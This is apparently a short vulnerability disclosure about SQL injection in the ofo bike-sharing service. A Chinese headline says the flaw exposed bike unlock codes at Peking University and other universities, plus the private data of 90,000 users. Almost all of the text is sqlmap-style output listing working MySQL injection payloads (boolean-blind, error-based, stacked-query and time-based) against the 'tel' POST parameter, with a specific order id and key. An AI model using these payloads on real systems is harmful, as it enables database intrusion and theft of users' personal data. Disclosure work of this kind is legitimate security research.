ofo共享单车SQL注入漏洞影响北京大学等多所高校共享车辆解锁密码及9万用户隐私

---
 Parameter: tel (POST)
     Type: boolean-based blind
     Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
     Payload: tel=12343211234") AND 7541=7541#&orderid=110802&key=6b26a6a495244dcfe8c1e983903108e1
 
     Type: error-based
     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
     Payload: tel=12343211234") AND (SELECT 4714 FROM(SELECT COUNT(*),CONCAT(0x7178787171,(SELECT (ELT(4714=4714,1))),0x71716a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ("SFUv"="SFUv&orderid=110802&key=6b26a6a495244dcfe8c1e983903108e1
 
     Type: stacked queries
     Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
     Payload: tel=12343211234");(SELECT * FROM (SELECT(SLEEP(5)))xnKx)#&orderid=110802&key=6b26a6a495244dcfe8c1e983903108e1
 
     Type: AND/OR time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
     Payload: tel=12343211234") AND (SELECT * FROM (SELECT(SLEEP(5)))UCSC) AND ("RqRC"="RqRC&orderid=110802&key=6b26a6a495244dcfe8c1e983903108e1
 ---